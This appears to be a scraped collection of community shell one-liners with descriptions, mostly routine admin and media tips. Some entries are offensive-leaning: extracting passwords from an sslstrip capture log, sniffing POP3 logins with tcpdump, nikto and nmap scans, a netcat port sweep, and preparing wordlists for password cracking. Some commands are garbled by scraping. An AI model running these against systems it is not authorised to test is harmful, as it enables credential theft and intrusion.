Festival)等传统节日,以及元旦、五一、十一、儿童节、教师节等。 dpkg -S file pev winappfile.exe $ pev /mnt/tmp/WINDOWS/explorer.exe 6.0.2900.5512 $pev /mnt/tmp/WINDOWS/system32/calc.exe 5.1.2600.0 pev - Extract PE(.exe) version information in bash pev: PE version utility, to show the Product Version of compiled PE files tarball: http://www.mentebinaria.com.br/coding40/pev-0.22.tar.gz source: https://github.com/merces/pev home: http://coding40.mentebinaria.com.br/projetos/pev chage -d 0 -m 0 -M 60 [user] How to expire the password to force her change [Linux] This command is Linux compatible. It will prompt the user for a new password at next logon tcpdump | aplay -c 2 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes Playing raw data 'stdin' : Unsigned 8 bit, Rate 8000 Hz, Stereo Functions: aplay tcpdump Output sound when your computer is downloading something Outputs pseudo-random sounds to speakers (stereo mode because of -c 2) when there are any kind of network activity. ssh user@host "tar -czf - /path/to/dir" > dir.tar.gz echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search] $ echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" /etc/passwd search> sshd suse-ncc:x:105:107:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash uuidd:x:100:101:User for uuidd:/var/run/uuidd:/bin/false Functions: echo read sed Customizable Search Context customizable context searches - if you know sed, this is a basis for more complex context control than grep --context offers gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true Activate the mandatory proxy under ubuntu Solution to activate (or deactivate with false instead of true) the global mandatory proxy under Ubuntu (not tested elsewhere). Others keys you can configure : gconftool-2 --set "/system/http_proxy/host" --type string " gconftool-2 --set "/system/http_proxy/port" --type int 8080 gconftool-2 --set "/system/http_proxy/ignore_hosts" --type list --list-type string ["localhost","127.0.0.1","*.local"] gconftool-2 --set "/system/proxy/mode" --type string manual nikto.pl -h yourwebserver nikto.pl -h webserv - Nikto v2.03/2.04 --------------------------------------------------------------------------- + Target Hostname: wevserv + Server: Apache/2.2.0 (Fedora) + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.2.0 appears to be outdated (current is at least Apache/2.2.9). Apache 1.3.39 and 2.0.61 are also current. + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details + 3577 items checked: 2 item(s) reported on remote host + 1 host(s) tested Test Options: -h webserv How to check webserver by Nikto This is wonderful perl script to check the web server security and vulnerability .Get it from here :http://www.cirt.net/nikto2 Here are some key features of "Nikto": ? Uses rfp's LibWhisker as a base for all network funtionality ? Main scan database in CSV format for easy updates ? Determines "OK" vs "NOT FOUND" responses for each server, if possible ? Determines CGI directories for each server, if possible ? Switch HTTP versions as needed so that the server understands requests properly ? SSL Support (Unix with OpenSSL or maybe Windows with ActiveState's Perl/NetSSL) ? Output to file in plain text, HTML or CSV ? Generic and "server type" specific checks ? Plugin support (standard PERL) ? Checks for outdated server software ? Proxy support (with authentication) ? Host authentication (Basic) ? Watches for "bogus" OK responses ? Attempts to perform educated guesses for Authentication realms ? Captures/prints any Cookies received ? Mutate mode to "go fishing" on web servers for odd items ? Builds Mutate checks based on robots.txt entries (if present) ? Scan multiple ports on a target to find web servers (can integrate nmap for speed, if available) ? Multiple IDS evasion techniques ? Users can add a custom scan database ? Supports automatic code/check updates (with web access) ? Multiple host/port scanning (scan list files) ? Username guessing plugin via the cgiwrap program and Apache ~user methods ‹ First < 235 236 237 238 239 > Last › date +%A | cut -c $(( $(date +%A | wc -c) - 1 )) Functions: cut date wc Bash function to see what the day ends in A command to find out what the day ends in. Can be edited slightly to find out what "any" output ends in. NB: I haven't tested with weird and wonderful output. ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq If we want files with more than one extension, like .tar.gz, only appear the latest, .gz: ls -Xp /path/to/dir | grep -Eo "\.[^./]+$" | uniq hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' /dev/sda1 | less /mystring Functions: hexdump less find a particular string on an unmounted partition dpkg -S locale.alias for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$(($(echo "$v*($r-$c)/$c")));echo -n "$v2 ";v=$v2;done;echo;done 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 5 1 1 6 15 20 15 6 1 1 7 21 35 35 21 7 1 1 8 28 56 70 56 28 8 1 Generate Pascal's Triangle http://en.wikipedia.org/wiki/Pascal%27s_triangle This one's for bartonski. Enjoy. Note: after row 64 we overflow integer maths. pwdadm -f ADMCHG [user] How to expire the password to force her change [AIX] This command is AIX compatible. awk 'sub("$", "\r")' unixfile.txt > winfile.txt unix2dos with awk cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u > cleanfile.txt Functions: awk cat sed sort strings tr Clean a wordlist for use with password cracking tools and rules Using large wordlists is cumbersome. Using password cracking programs with rules such as Hashcat or John the ripper is much more effective. In order to do this many times we need to "clean" a wordlist removing all numbers, special characters, spaces, whitespace and other garbage. This command will covert a entire wordlist to all lowercase with no garbage. netstat -plntu Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name Check open TCP and UDP ports find . -newer /tmp/foo -exec touch --date "2011-12-12" {} \; None. Check it with 'ls -al' Modify all files newer than another file and touch them to a specific date. manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic='"$1" | less; } search manpages on the internets manview searches man pages on the internets in case the man command doesn't work for some reason or if you think the man pages in Cornell's flavor of Solaris might differ from yours. It dumps the manpage info from lynx to less, so it ends up looking remarkably like a real manpage. Put it in your .bash_profile or .bashrc, and then you can use it like a regular command: typing "manview ssh" will give you the manpage for ssh. ( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & ) Functions: command nice rm sleep trap Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at Check out the usage of 'trap', you may not have seen this one much. This command provides a way to schedule commands at certain times by running them after sleep finishes sleeping. In the example 'sleep 2h' sleeps for 2 hours. What is cool about this command is that it uses the 'trap' builtin bash command to remove the SIGHUP trap that normally exits all processes started by the shell upon logout. The 'trap 1' command then restores the normal SIGHUP behaviour. It also uses the 'nice -n 19' command which causes the sleep process to be run with minimal CPU. Further, it runs all the commands within the 2nd parentheses in the background. This is sweet cuz you can fire off as many of these as you want. Very helpful for shell scripts. awk '{print NR,$0}' df -kh /dev/vg0*/lv* rdesktop -u -p -g 1366x724 -a 16 -D -z -P The above command will: - open a Remote Desktop connection to [servername / IP Address], - authenticate using [username] and [password], - configure resolution to best fit your desktop (I have a 1366x768px resolution so I left space for 2 panels of 22px each), - sets the color depth for the connection to 16 bpp, - hides the window manager decorations, - enables compression of the RDP data stream, - enables persistent bitmap caching. curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n 's/\//p' | sed 's/<[^>]*>//g;///p' | sed 's/<[^>]*>//g;/ mplayerfifo1 & crossfadeOut > mplayerfifo2 loop 0 10 > mplayer fifo1 etc etc ping -a IP-ADDRESS pcspkr have to be enabled! modprobe pcspkr xset b on get_duration () { IFS=.: read -r _ h m s _ < <(ffmpeg -i "$1" 2>&1 | grep Duration);echo $(( h * 360 + m * 60 + s )); } Functions: echo grep read ‹ First < 236 237 238 239 240 > Last › git config --global alias.log1 "log --pretty=oneline --abbrev-commit" % git log1 45c82b5... Merge branch 'header-fixes-for-linus' git log1 alias This command limits the oputut of git log to one-line per commit and an abbreviated commit ID. watch -d "free -mt" what the free memory grow or shink on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now} Functions: amixer get grep tr I've had this as mute.sh in my ~/bin/ for some time. tcpdump -i eth0 "tcp port pop3 and ip[40] = 85 and ip[41] = 83" -s 1500 -n -w "sniff" USER username@maildomain.com The command is useful for monitoring the use of the boxes and their connection IP. Result file "sniff" is readable with GUI program "wireshark" or through CLI with the command: tcpdump -f "sniff" -XX shopt -s nullglob; for i in $(find "Your/file/system" -name "*.pdf"); do e="$(dirname $i)/$(basename $i '.pdf').png"; gs -sDEVICE=png16m -q -dPDFFitPage -g492x380 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -dNOSUBSTDEVICECOLORS -o $e $i; done Functions: find gs Convert a directory of pdfs into scaled down pngs Using ghostscript instead of imagemagick to convert pdfs into pngs. It keeps pngs with pdfs find src/ -name "*.java" | while read f; do echo -n "$f "; cat "$f" | tr -dc '{}'; echo; done | awk '{ print length($2), $1 }' | sort -n Functions: awk cat echo find read sort tr Find .java files with high complexity (counting curly braces) sed ':a;N;$!ba;s/\n\n/\n%\n/g' input.txt >output Create fortune's *.dat file from commandlinefu from saved preferite Create fortune's *.dat file from commandlinefu from saved preferite script by suhasgupta (http://www.commandlinefu.com/commands/view/3681/backup-all-your-commandlinefu.com-favourites-to-a-plaintext-file) - Italian tutorial here: http://mrehqe.blogspot.com/2011/11/come-ottenere-un-commandlinefu-della.html ps -ef | grep [t]clsh Grep the process excluding the grep itself. perl -pe 'print "$. "' No need $_ netp ;) xdg-open $(ls . | dmenu) File browser Simple file browser with dmenu, ls, and xdg-open. $ echo "command"; `!#:0-$ $ echo "ls"; `!#:0-$ echo "ls"; `echo "ls" ; ` Android.mk ardrv devmgr egl file1 since we're repeating the command there after the semicolon, we only need one backtick fail () { ln -s /nonexistent 0_FAIL_${1}; } Mark a directory as one where something failed If you use colored ls(1), the broken symbolic links significantly differ from regular files and directories in the ls listing. In my case it is bright red. 0 is for getting the first place in the list. find `pwd` -maxdepth 1 -exec ls --color -d {} \; /usr/local/bin/OFPW -mode 1 set open firmware password command mode Sets the Open Firmware to ask for password when selecting a boot volume other then the hd svn st | grep ^? | xargs svn add 2> /dev/null Add all not commited files to svn diff <(nmap -sP 192.168.1.0/24 | grep ^Host | sed 's/.appears to be up.//g' | sed 's/Host //g') auth.hosts | sed 's/[0-9][a-z,A-Z][0-9]$//' | sed 's/ Last › ls *.JPG | cut -d . -f 1 | xargs -L1 -i convert -resize 684 {}.JPG {}.jpg Functions: cut ls xargs cat tarfile.tar.gz | ssh server.com " cd /tmp; tar xvzf - directory/i/want" Untar a directory in a tar file over ssh This may be listed already but this command is useful to untar a specific directory to a different server. df -h | grep -v ^none | ( read header ; echo "$header" ; sort -rn -k 5) /dev/sdc1 1.4T 403G 904G 31% /data Functions: df echo grep read sort df output, sorted by Use% and correctly maintaining header row Show disk space info, grepping out the uninteresting ones beginning with ^none while we're at it. The main point of this submission is the way it maintains the header row with the command grouping, by removing it from the pipeline before it gets fed into the sort command. (I'm surprised sort doesn't have an option to skip a header row, actually..) It took me a while to work out how to do this, I thought of it as I was drifting off to sleep last night! seq 1 255 | parallel -j+0 'nc -w 1 -z -v 192.168.1.{} 80' port scan using parallel It takes over 5 seconds to scan a single port on a single host using nmap time (nmap -p 80 192.168.1.1 &> /dev/null) real 0m5.109s user 0m0.102s sys 0m0.004s It took netcat about 2.5 minutes to scan port 80 on the class C time (for NUM in {1..255} ; do nc -w 1 -z -v 192.168.1.${NUM} 80 ; done &> /dev/null) real 2m28.651s user 0m0.136s sys 0m0.341s Using parallel, I am able to scan port 80 on the entire class C in under 2 seconds time (seq 1 255 | parallel -j255 'nc -w 1 -z -v 192.168.1.{} 80' &> /dev/null) real 0m1.957s user 0m0.457s sys 0m0.994s mencoder vcd://2 -o sample.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4 Convert vcd to avi format Convert VCD to .AVI (echo -e '\xfe'; sleep 1) |telnet -L $HOSTIP 25565 2>/dev/null |awk -F'\xa7' '$2 {print "users: "$2"/"$3;}' users: 12/30 Functions: awk echo sleep telnet Get number of users on a minecraft server I'm flat-out surprised that minecraft directory services require servers install multiple modifications to their server code, when the directories could fetch this information on their own. for i in `netstat -rn|egrep -v "Interface|Routing"|awk '{print $5}'`;do ifconfig $i;done lo0: flags=849 lan7: flags=1843 lan1:1: flags=1843 lan2: flags=1843 Functions: awk egrep ifconfig Command is properly working on HP-UX 11.31 toilet -f big ReadMe _____ _ __ __ | __ \ | | \/ | | |__) |___ __ _ __| | \ / | ___ | _ // _ \/ _` |/ _` | |\/| |/ _ \ | | \ \ __/ (_| | (_| | | | | __/ |_| \_\___|\__,_|\__,_|_| |_|\___| Need an ascii art font for you readme text ? need toilet package , same goes for figlet showfigfonts | less : give the list of font available for options date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)$/\1/p')" Poor man's ntpdate Good when firewalled and only in need of a reasonable accurate time. Use a fast responding web server. setopt shwordsplit zsh variable behave like bash variable for exemple : var="echo hello"; $var this will display "hello" with bash with zsh, by default, this will make an error : "command not found : echo hello" hwordsplit option permit zsh to act like bash on this point curl -sL 'www.commandlinefu.com/commands/random' | awk -F']+>' '/"command"/{print $2}' Splitting on tags in awk is a handy way to parse html. rsync -avz --dry-run --include="only-include-this-filename" -f 'hide,! */' source/folder/ target/folder/ rsync a hierarchy but matching only one filename Applying filter rules is what makes this a really useful command. It's usually a pain to figure out how to sync ONLY files matching a particular pattern, and often one reverts to goofy stuff like find .. -exec rsync .. The filter hides all folders from the transfer, so that only the matching folders that store the filename are left for the sync. nmap -sT -PN -vv Starting Nmap 5.00 ( http://nmap.org ) at 2011-07-21 19:21 PDT NSE: Loaded 0 scripts for scanning. Initiating Connect Scan at 19:21 Scanning localhost (127.0.0.1) [1000 ports] Discovered open port 111/tcp on 127.0.0.1 Discovered open port 993/tcp on 127.0.0.1 Discovered open port 25/tcp on 127.0.0.1 Discovered open port 995/tcp on 127.0.0.1 Discovered open port 113/tcp on 127.0.0.1 Discovered open port 143/tcp on 127.0.0.1 Discovered open port 21/tcp on 127.0.0.1 Discovered open port 110/tcp on 127.0.0.1 Discovered open port 22/tcp on 127.0.0.1 Discovered open port 1984/tcp on 127.0.0.1 Discovered open port 465/tcp on 127.0.0.1 Discovered open port 5432/tcp on 127.0.0.1 Discovered open port 3333/tcp on 127.0.0.1 Discovered open port 10025/tcp on 127.0.0.1 Discovered open port 8333/tcp on 127.0.0.1 Discovered open port 10024/tcp on 127.0.0.1 Discovered open port 2401/tcp on 127.0.0.1 Completed Connect Scan at 19:21, 0.14s elapsed (1000 total ports) Host localhost (127.0.0.1) is up (0.00092s latency). Scanned at 2011-07-21 19:21:55 PDT for 0s Interesting ports on localhost (127.0.0.1): Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 110/tcp open pop3 111/tcp open rpcbind 113/tcp open auth 143/tcp open imap 465/tcp open smtps 993/tcp open imaps 995/tcp open pop3s 1984/tcp open bigbrother 2401/tcp open cvspserver 3333/tcp open dec-notes 5432/tcp open postgresql 8333/tcp open unknown 10024/tcp open unknown 10025/tcp open unknown Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds Nmap find open TCP/IP ports for a target that is blocking ping Change the IP address from 127.0.0.1 to the target machines ip address. Even if the target has ICMP (ping) blocked, it will show you what ports are open on the target. Very handy for situations where you know the target is up and online but wont respond to pings. COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME This option selects the listing of all Internet and x.25 (HP-UX) network files. mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'` Open in TextMate Sidebar files (recursively) with names matching REGEX_A and not matching REGEX_B This does the following: 1 - Search recursively for files whose names match REGEX_A 2 - From this list exclude files whose names match REGEX_B 3 - Open this as a group in textmate (in the sidebar) And now you can use Command+Shift+F to use textmate own find and replace on this particular group of files. For advanced regex in the first expression you can use -regextype posix-egrep like this: mate - `find * -type f -regextype posix-egrep -regex 'REGEX_A' | grep -v -E 'REGEX_B'` Warning: this is not ment to open files or folders with space os special characters in the filename. If anyone knows a solution to that, tell me so I can fix the line. for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r Functions: cut echo grep head sort Similar but using mediainfo instead of totem-something find /usr/share/figlet -name *.?lf -exec basename {} \; | sed -e "s/\..lf$//" | xargs -I{} toilet -f {} {} +-+-+-+-+-+-+-+ |d|i|g|i|t|a|l| , __ ,_ _ _|_ / \_/ / | | |/ \_| \/ \___/ |_/|_/|__/ |_/ Functions: basename find sed xargs Show demo of toilet fonts Lists a sample of all installed toilet fonts findlocation() {place=`echo $@`; lynx -dump "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | egrep "address|coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';} $ : distance 1600 Pennsylvania Avenue, Washington D.C Full Address: 1600 Pennsylvania Ave NW, Washington D.C., DC 20500, USA, coordinates: [ -77.0365191, 38.8976964 ] Just a few minor changes. First the usage of lynx instead of curl so no sed is needed to revert the spaces. Then the usages of egrep instead of grep -e to save a few characters and last the removal of the extra 0. find . -name "*.cpp" -exec grep -Hn --color=tty -d skip "main" {} \; Find the main file :D gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_ gpg --keyserver-options no-auto-key-retrieve --recv-keys _ Functions: gpg sed xargs Fetch all GPG keys that are currently missing in your keyring For instance, if people have signed your key, this will fetch the signers' keys. sw_vers Show Mac OS X version information eog $(find $HOME -iname ExamplePicture*.jpg) Find a .jpg in Your Home-Directory and display it via eog. Not case sensitive..... echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g' Same as another one I saw, just with a cleaner sed command Edit: updated the sed command to use the [[:xdigit:]] character class - more portable between locales Note that it will have a newline inserted after every 32 characters of input, due to the output of xxd alias cd1='cd $( ls -1t | grep ^d | head -1)' Functions: alias grep head ls mencoder -aid 2 -oac copy file.avi -o english.mp3 Extract an audio track from a multilingual video file, for a specific language. ‹ First < 238 239 240 241 242 > Last › ditto --arch i386 doubleTwist.app doubleTwist_i386.app remove unnecessary architecture code from Mac OS X Universal binaries ditto can be used to "thinnify" Mach-O Universal binaries to separate unncessary code from your machine. For example, doubleTwist.app shaved off around 10 MB while Google Earth went from 112 MB to 62 MB after extracting only the i386 code from them. gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=\(fraction\)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink View webcam output using GStreamer pipeline Open a window that displays camera capture. Framerate, width and height may be changed to match your needs. date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`" If you don't have netcat, you can use curl. read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE *(me)*@ubuntu:~$ read -p "enter url:" a ; w3m -dump $a > /dev/shm/e1q ; less /dev/shm/e1q ; read -p "save file as text (y/n)?" b ; if [ $b = "y" ] ; then read -p "enter path with filename:" c && touch $(eval echo "$c") ; mv /dev/shm/e1q $(eval echo "$c") ; fi ; echo DONE enter url:www.google.com save file as text (y/n)?y enter path with filename:~/this *(me)*@ubuntu:~$ Functions: c++ echo eval less mv read touch Get a url, preview it, and save as text - with prompts Thanks th John_W for suggesting the fix allowing ~/ to be used when saving a directory. directions: Type in a url, it will show a preview of what the file will look like when saved, then asks if you want to save the preview and where you want to save it. Great for grabbing the latest commandlinefu commands without a full web browser or even a GUI. Requires: w3m equery belongs $( which mv ) Functions: mv which Find the package a command belongs to on Gentoo find / -type f -size +20000k -exec ls -lh {} \; | awk '{printf $9} {for (i=10;i<=NF;i++) {printf " "$i}} {print ": "$5}' Find all files over 20MB and print their names and size in human readable format eval "mkdir test{$(seq -s, 1 10)}" Overcome Bash's expansion order In order to create, let's say, 10 directories with a single process we can use the command: mkdir test{1,2,3,4,5,6,7,8,9,10} something extremely boring to type! Why not use seq? seq -s, 1 10 and use its output inside the curly braces? The obvious solution mkdir test{$(seq -s, 1 10)} is, unfortunately, too naive and doesn't work. The answer is the order of the shell expansions (feature of Bourne Shell, actually), where brace expansion happens before command substitution (according to Bash's manual). The solution is to put another level of substitution, using the powerful and mystic command eval. I found the trick in a similar problem in the post at http://stackoverflow.com/questions/6549037/bash-brace-expansion-in-scripts-not-working-due-to-unwanted-escaping seq 20 | sed '5,6 { w out.txt }' #Can't print correctly. See sample output $ seq 20 | sed -n '5,6 { w out.txt }' $ cat out.txt Functions: sed seq Read/Write output/input from sed to a file Can't print correctly in the command field. There is a new line before } as follows seq 20 | sed -n '5,6 { w out.txt }' xml fo -e utf-8 file.xml | xml esc fomat/encode/escape xml gnu@robby:/tmp$ set -o noclobber gnu@robby:/tmp$ cat tesk dffd gnu@robby:/tmp$ cat > tesk bash: tesk : impossible d'?craser le fichier existant gnu@robby:/tmp$ cat >> tesk fdf gnu@robby:/tmp$ Prevent overwriting file when using redirection If you set noclobber to on, bash won't allow redirection to overwrite existing files . set -o noclobber command turn the option on (default it s off ) . You can still append information but not overwrite the file .to turn it back off use : $ set +o noclobber . I use it because i overwrite a file by accident , after thought , content of the file was very important , creating a one more file mean nothing for my hard disk (we are not anymore on the 64 k memory time) , but content of file is far much important . What we call exeprience :( git log -g --pretty=oneline | grep '}: commit' | awk '{print $1}' | head -1 | xargs git checkout -f Functions: awk grep head xargs nvidia-settings -a AssociatedDisplays=0x00010000 Attribute 'AssociatedDisplays' (legerdemain:0.0) assigned value 65536. fix nvidia-settings display error When nvidia-settings gets itself into a funk and displays the error "Unable to load X Server Display Configuration page", then use this script to make it reset itself. reference: http://ubuntuforums.org/archive/index.php/t-1047029.html du -h / | grep -w "[0-9]*G" vie(){vi $(which $1)} edit a executable script vie myscript will find where myscript is, and then use vi to edit that file. Not much trick, but saves typing if you use it a lot. curl --cookie name= --data-urlencode name=my_post_key=\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5 --url http://url/editpost.php?my_post_key=\&delete=1\&submit=Delete+Now\&action=dele As a user, deletes all your posts from a MyBB board (provided you have the search page listings of all your posts saved into the same directory this command is run from). Full command: for i in *; do cat $i | grep pid | sed -e 's/;/\ /g' -e 's/#/\ /g' -e 's/pid=/\ /g' | awk -F ' ' '{print $2}' >> posts.txt; done; for c in `cat posts.txt`; do curl --cookie name= --data-urlencode name=my_post_key=\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5 --url http://url/editpost.php?my_post_key=\&delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c; sleep 2s; done; echo grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' | grep -i -f tokens_file Export usernames and passwords from sslstrip log SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img dd with progress bar and remaining time displayed ssh @ 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys' Functions: chmod echo ssh Creates the .ssh directory on the remote host with proper permissions, if it doesnt exist. Appends your public key to authorized_keys, and verifies it has proper permissions. (if it didnt exist it may have been created with undesireable permissions). *Korn shell syntax, may or may not work with bash /usr/sbin/httpd -l Compiled in modules: core.c prefork.c http_core.c mod_so.c See whether your compiled Apache is prefork or worker MPM For some of my web servers I setup and configure, for scaling I use the httpd.conf settings for these. Sometimes I forget which servers are prefork and which are worker MPM, so I use this to remind myself. ps -L -p | wc -l Get thread count for process on Solaris echo -e ${PATH//:/\\n} | less /home/nicoulaj/bin pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain" pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain" << read domain from "[PATH]/domains/mydomain" >> succeed: read domain from "[PATH]/domains/mydomain" << write template to "[PATH]/mydomain.jar" .................................................................................................... >> succeed: write template to "[PATH]/mydomain.jar" << close template >> succeed: close template Create a template for WebLogic 9 or 10 seq 8 | awk '{print "e(" $0 ")" }' | bc -l 2.71828182845904523536 7.38905609893065022723 20.08553692318766774092 54.59815003314423907811 148.41315910257660342111 403.42879349273512260838 1096.63315842845859926372 2980.95798704172827474359 Functions: awk bc seq If you want a sequence that can be plotted, do: seq 8 | awk '{print "e(" $0 ")" }' | bc -l | awk '{print NR " " $0}' Other bc functions include s (sine), c (cosine), l (log) and j (bessel). See the man page for details. sed 's/^\(.*\)\(.\)\(.\)$/\1\3/' fileName to display all characters except second last character from each line of a file wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installer-amd64/current/images/netboot/mini.iso Write a bootable Linux .iso file directly to a USB-stick This wgets the iso directly to the USB device, replace /dev/sdb with the device name of the USB stick. After wget finishes you will be able to boot the .iso file from the USB stick. ‹ First < 239 240 241 242 243 > Last › debconf-copydb configdb copydb --pattern= --config="Name: copydb" --config="Driver: File" --config="Filename: ~/copydebconf.dat" Save the debconf configuration of an installed package for I in $(echo "show tables" | mysql -u `; do echo "ALTER TABLE $I ENGINE = INNODB"| mysql -u ; done convert myisam to innodb Convert all Tables from MyISAM to InnoDB dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64 a5sXvbJx0pUY/CEuxwM4YA== Create a hard-to-guess password Alternatively, if your password can contain a richer character set, try using 'uuencode' rather than base64. dd if=/dev/urandom bs=16 count=1 2>/dev/null | uuencode - Sample of that: '0:.CF\-@"\`W315VG^4O\.@``' find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort List files recursively sorted by modified time wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&start-max=2009-07-31' | perl -lane '@m=$_=~m/(.+?)</g;@a=$_=~m/startTime=.(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].",".$a[$i];}'; Claudio,2009-07-30 Claudio,2009-07-23 Claudio,2009-07-17 Claudio,2009-07-16 Claudio,2009-07-10 Claudio,2009-07-03 Claudio,2009-07-02 Claudio,2009-06-26 Claudio,2009-06-25 Failure,2009-06-20 Glconsulting,2009-06-18 Failure,2009-06-15 production migration,2009-06-08 get events from google calendar for a given dates range substitute the URL with your private/public XML url from calendar sharing settings substitute the dates YYYY-mm-dd adjust the perl parsing part for your needs unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar << read template from "[PATH]/mydomain.jar" >> succeed: read template from "[PATH]/mydomain.jar" << write Domain to "[PATH]/domains/mydomain" >> warning:write Domain to "[PATH]/domains/mydomain" >> The "JDBC" configuration in your domain has been found to be invalid. It may be possible to resolve the issue by reviewing your script. The wizard will continue, but you may want to start the server in your domain and review the messages displayed to identify the invalid configuration. ............................................................................................... >> succeed: write Domain to "[PATH]/domains/mydomain" Unpack and build a WebLogic 9 or 10 domain fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fname|awk '{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz" 0 if the file is 0-length <integer> if the file is not 0-length file <fname> does not exist (on stderr) if file does not exist Functions: awk echo expr ls wc give record size of given record-structured file command was too long... this is the complete command: fname=$1; f=$( ls -la $fname ); if [ -n "$f" ]; then fsz=$( echo $f | awk '{ print $5 }' ); if [ "$fsz" -ne "0" ]; then nrrec=$( wc -l $fname | awk '{ print $1 }' ); recsz=$( expr $fsz / $nrrec ); echo "$recsz"; else echo "0"; fi else echo "file $fname does not exist" >&2; fi First the input is stored in var $fname The file is checked for existance using "ls -lart". If the output of "ls -lart" is empty, the error message is given on stderr Otherwise the filelength is taken from the output of "ls -lart" (5th field) With "wc -l" the number of records (or lines) is taken. The record size is filelength devided by the number of records. please note: this method does not take into account any headers, variable length records and only works on ascii files where the records are sperated by 0x0A (or 0x0A/0x0D on MS-DOS/Windows). debconf-copydb copydb configdb --config="Name: copydb" --config ="Driver: File" --config="Filename: ~/copydebconf.dat" Import a debconf configuration (from a copydebconf.dat file) mplayer -cache 100 -dumpstream http://listen.di.fm/public3/drumandbass.pls -dumpfile music.mp3 Rip from mp3 stream mplayer You wont hear anything when you run that command. You must run: mplayer music.mp3 YOU NEED MPLAYER sudo apt-get install mplayer convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg Command line invocation of ImageMagick to resize a file convert -resize 750?500 -quality 80% *.jpg These are command-line invocations of ImageMagick functions. The first sizes an image file to 40% of original and saves it to a different name, while the second makes all jpg files in a directory sized to 750x500 pixels. Such a pleasure not to need to point and click to make a bunch of thumbnails -- for example. ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi" convert a .mp4 to a .avi sed 's/,/\t/g' report.csv > report.tsv Convert CSV files to TSV Convert comma separated files to tab separated files. (MySQL eats tab separated files with much less instruction than comma seperated files.) pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep -lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d" Functions: egrep find sed xargs Remove lines matching a pattern in files (backup any modified files) cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed 's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq Functions: cat cut egrep sed sort tr uniq Get a list of all the unique hostnames from the apache configuration files. Handy to see what sites are running on a 